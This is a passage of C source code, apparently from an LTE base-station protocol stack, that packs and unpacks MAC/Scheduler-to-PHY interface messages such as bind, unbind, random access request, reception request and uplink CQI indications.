if (SUnpkS16(&suId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU009, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (SUnpkU8(&status, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU010, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, suId, status));
}
/***********************************************************
*
* Func : cmPkTfuUbndReq
*
*
* Desc : This API is used to send an Unbind Request from MAC to PHY.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service provider.
* @param reason Reason for Unbind request.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUbndReq
(
Pst * pst,
SpId spId,
Reason reason
)
#else
PUBLIC S16 cmPkTfuUbndReq(pst, spId, reason)
Pst * pst;
SpId spId;
Reason reason;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuUbndReq)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU011, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (SPkS16(reason, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU012, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (SPkS16(spId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU013, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
pst->event = (Event) EVTTFUUBNDREQ;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuUbndReq
*
*
* Desc : This API is used to send an Unbind Request from MAC to PHY.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service provider.
* @param reason Reason for Unbind request.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUbndReq
(
TfuUbndReq func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUbndReq(func, pst, mBuf)
TfuUbndReq func;
Pst *pst;
Buffer *mBuf;
#endif
{
SpId spId;
Reason reason;
TRC3(cmUnpkTfuUbndReq)
if (SUnpkS16(&spId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU014, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (SUnpkS16(&reason, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU015, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, spId, reason));
}
/***********************************************************
*
* Func : cmPkTfuSchBndReq
*
*
* Desc : This API is used to send a Bind Request from Scheduler to PHY.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param spId SAP ID of the service provider.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuSchBndReq
(
Pst * pst,
SuId suId,
SpId spId
)
#else
PUBLIC S16 cmPkTfuSchBndReq(pst, suId, spId)
Pst * pst;
SuId suId;
SpId spId;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuSchBndReq)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU016, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (SPkS16(spId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU017, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (SPkS16(suId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU018, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
pst->event = (Event) EVTTFUSCHBNDREQ;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuSchBndReq
*
*
* Desc : This API is used to send a Bind Request from Scheduler to PHY.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param spId SAP ID of the service provider.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuSchBndReq
(
TfuSchBndReq func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuSchBndReq(func, pst, mBuf)
TfuSchBndReq func;
Pst *pst;
Buffer *mBuf;
#endif
{
SuId suId;
SpId spId;
TRC3(cmUnpkTfuSchBndReq)
if (SUnpkS16(&suId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU019, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (SUnpkS16(&spId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU020, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, suId, spId));
}
/***********************************************************
*
* Func : cmPkTfuSchBndCfm
*
*
* Desc : This API is used to receive a Bind Confirm from PHY to Scheduler.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param status Status of the bind request.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuSchBndCfm
(
Pst * pst,
SuId suId,
U8 status
)
#else
PUBLIC S16 cmPkTfuSchBndCfm(pst, suId, status)
Pst * pst;
SuId suId;
U8 status;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuSchBndCfm)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU021, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (SPkU8(status, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU022, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (SPkS16(suId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU023, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
pst->event = (Event) EVTTFUSCHBNDCFM;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuSchBndCfm
*
*
* Desc : This API is used to receive a Bind Confirm from PHY to Scheduler.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param status Status of the bind request.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuSchBndCfm
(
TfuSchBndCfm func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuSchBndCfm(func, pst, mBuf)
TfuSchBndCfm func;
Pst *pst;
Buffer *mBuf;
#endif
{
SuId suId;
U8 status;
TRC3(cmUnpkTfuSchBndCfm)
if (SUnpkS16(&suId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU024, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (SUnpkU8(&status, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU025, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, suId, status));
}
/***********************************************************
*
* Func : cmPkTfuSchUbndReq
*
*
* Desc : This API is used to send an Unbind Request from Scheduler to PHY.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service provider.
* @param reason Reason for Unbind request.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuSchUbndReq
(
Pst * pst,
SpId spId,
Reason reason
)
#else
PUBLIC S16 cmPkTfuSchUbndReq(pst, spId, reason)
Pst * pst;
SpId spId;
Reason reason;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuSchUbndReq)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU026, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (SPkS16(reason, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU027, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (SPkS16(spId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU028, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
pst->event = (Event) EVTTFUSCHUBNDREQ;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuSchUbndReq
*
*
* Desc : This API is used to send an Unbind Request from Scheduler to PHY.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service provider.
* @param reason Reason for Unbind request.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuSchUbndReq
(
TfuSchUbndReq func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuSchUbndReq(func, pst, mBuf)
TfuSchUbndReq func;
Pst *pst;
Buffer *mBuf;
#endif
{
SpId spId;
Reason reason;
TRC3(cmUnpkTfuSchUbndReq)
if (SUnpkS16(&spId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU029, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (SUnpkS16(&reason, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU030, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, spId, reason));
}
/***********************************************************
*
* Func : cmPkTfuRaReqInd
*
*
* Desc : This API is used to indication Random Access Request reception from
* PHY to Scheduler.
* @details This primitive is used by physical layer to indicate the reception
* of a Random Access Request from a set of UEs. The information passed consists
* of the RA-RNTI and the list of preambles received.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param raReqInd Pointer to the TfuRaReqIndInfo structure.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuRaReqInd
(
Pst * pst,
SuId suId,
TfuRaReqIndInfo * raReqInd
)
#else
PUBLIC S16 cmPkTfuRaReqInd(pst, suId, raReqInd)
Pst * pst;
SuId suId;
TfuRaReqIndInfo * raReqInd;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuRaReqInd)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU031, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(raReqInd);
RETVALUE(RFAILED);
}
if (pst->selector == TFU_SEL_LC) {
if (cmPkTfuRaReqIndInfo(raReqInd, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU032, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(raReqInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmPkPtr((PTR)raReqInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC Packing failed");
#endif
TFU_FREE_MEM(raReqInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (SPkS16(suId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU033, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(raReqInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
TFU_FREE_MEM(raReqInd);
}
pst->event = (Event) EVTTFURAREQIND;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuRaReqInd
*
*
* Desc : This API is used to indication Random Access Request reception from
* PHY to Scheduler.
* @details This primitive is used by physical layer to indicate the reception
* of a Random Access Request from a set of UEs. The information passed consists
* of the RA-RNTI and the list of preambles received.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param raReqInd Pointer to the TfuRaReqIndInfo structure.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuRaReqInd
(
TfuRaReqInd func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuRaReqInd(func, pst, mBuf)
TfuRaReqInd func;
Pst *pst;
Buffer *mBuf;
#endif
{
SuId suId;
TfuRaReqIndInfo *raReqInd;
TRC3(cmUnpkTfuRaReqInd)
if (SUnpkS16(&suId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU034, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
Mem sMem;
sMem.region = pst->region;
sMem.pool = pst->pool;
if ((cmAllocEvnt(sizeof(TfuRaReqIndInfo), TFU_BLKSZ, &sMem, (Ptr *)&raReqInd)) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU035, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (pst->selector == TFU_SEL_LC)
{
if (cmUnpkTfuRaReqIndInfo(raReqInd, mBuf) != ROK) {
TFU_FREE_MEM(raReqInd);
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU036, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmUnpkPtr((PTR *)&raReqInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC un-Packing failed");
#endif
TFU_FREE_MEM(raReqInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, suId, raReqInd));
}
/***********************************************************
*
* Func : cmPkTfuRecpReq
*
*
* Desc : This primitive is sent from Scheduler to PHY.
* @details This primitive provides PHY with all the information required by
* PHY to decode transmissions from the UE on either PUCCH or PUSCH.
* -# On PUCCH UE can transmit the following
* -# SR
* -# HARQ feedback
* -# CQI report
* -# HARQ + CQI
* -# HARQ + SR
* -# On PUSCH UE can transmit the following
* -# Data
* -# Data + CQI
* -# Data + HARQ Feedback
* This primitive carries all the information for the expected subframe for all
* the UEs that have been scheduled to transmit.
* @param pst Pointer to the post structure.
* @param spId SAP ID of the service provider.
* @param recpReq Pointer to the TfuRecpReqInfo structure.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuRecpReq
(
Pst * pst,
SpId spId,
TfuRecpReqInfo * recpReq
)
#else
PUBLIC S16 cmPkTfuRecpReq(pst, spId, recpReq)
Pst * pst;
SpId spId;
TfuRecpReqInfo * recpReq;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuRecpReq)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU037, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(recpReq);
RETVALUE(RFAILED);
}
if (pst->selector == TFU_SEL_LC) {
if (cmPkTfuRecpReqInfo(recpReq, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU038, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(recpReq);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmPkPtr((PTR)recpReq, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC Packing failed");
#endif
TFU_FREE_MEM(recpReq);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (SPkS16(spId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU039, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(recpReq);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
TFU_FREE_MEM(recpReq);
}
pst->event = (Event) EVTTFURECPREQ;
RETVALUE(SPstTsk(pst,mBuf));
}
PUBLIC S16 cmUnpkTful1DataReq
(
TfuL1ReadReq func,
Pst *pst,
Buffer *mBuf
)
{
SpId spId;
U8 event;
TRC3(cmUnpkTfuRecpReq)
SUnpkS16(&spId, mBuf);
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, spId, 0));
}
/***********************************************************
*
* Func : cmUnpkTfuRecpReq
*
*
* Desc : This primitive is sent from Scheduler to PHY.
* @details This primitive provides PHY with all the information required by
* PHY to decode transmissions from the UE on either PUCCH or PUSCH.
* -# On PUCCH UE can transmit the following
* -# SR
* -# HARQ feedback
* -# CQI report
* -# HARQ + CQI
* -# HARQ + SR
* -# On PUSCH UE can transmit the following
* -# Data
* -# Data + CQI
* -# Data + HARQ Feedback
* This primitive carries all the information for the expected subframe for all
* the UEs that have been scheduled to transmit.
* @param pst Pointer to the post structure.
* @param spId SAP ID of the service provider.
* @param recpReq Pointer to the TfuRecpReqInfo structure.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuRecpReq
(
TfuRecpReq func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuRecpReq(func, pst, mBuf)
TfuRecpReq func;
Pst *pst;
Buffer *mBuf;
#endif
{
SpId spId;
TfuRecpReqInfo *recpReq;
TRC3(cmUnpkTfuRecpReq)
if (SUnpkS16(&spId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU040, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
Mem sMem;
sMem.region = pst->region;
sMem.pool = pst->pool;
if ((cmAllocEvnt(sizeof(TfuRecpReqInfo), TFU_BLKSZ, &sMem, (Ptr *)&recpReq)) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU041, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmUnpkPtr((PTR *)&recpReq, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC un-Packing failed");
#endif
TFU_FREE_MEM(recpReq);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (pst->selector == TFU_SEL_LC)
{
if (cmUnpkTfuRecpReqInfo(recpReq, (Ptr)&recpReq->memCp, mBuf) != ROK) {
TFU_FREE_MEM(recpReq);
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU042, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmUnpkPtr((PTR*)&recpReq, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC un-Packing failed");
#endif
TFU_FREE_MEM(recpReq);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, spId, recpReq));
}
/***********************************************************
*
* Func : cmPkTfuUlCqiInd
*
*
* Desc : This API is used to indicate CQI reporting from PHY to Scheduler
* @details This primitive carries an estimate of the uplink Channel quality
* index (CQI) for a list of UEs. This is an extimate of the uplink channel
* quality i.e. the transmission from UE as calculated at the Physical layer at
* the eNodeB.
* It carries a list of subband CQIs for each UE.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param ulCqiInd Pointer to the TfuUlCqiIndInfo structure.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUlCqiInd
(
Pst * pst,
SuId suId,
TfuUlCqiIndInfo * ulCqiInd
)
#else
PUBLIC S16 cmPkTfuUlCqiInd(pst, suId, ulCqiInd)
Pst * pst;
SuId suId;
TfuUlCqiIndInfo * ulCqiInd;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuUlCqiInd)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU043, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(ulCqiInd);
RETVALUE(RFAILED);
}
if (pst->selector == TFU_SEL_LC) {
if (cmPkTfuUlCqiIndInfo(ulCqiInd, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU044, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(ulCqiInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmPkPtr((PTR)ulCqiInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC Packing failed");
#endif
TFU_FREE_MEM(ulCqiInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (SPkS16(suId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU045, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(ulCqiInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
TFU_FREE_MEM(ulCqiInd);
}
pst->event = (Event) EVTTFUULCQIIND;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuUlCqiInd
*
*
* Desc : This API is used to indicate CQI reporting from PHY to Scheduler
* @details This primitive carries an estimate of the uplink Channel quality
* index (CQI) for a list of UEs. This is an extimate of the uplink channel
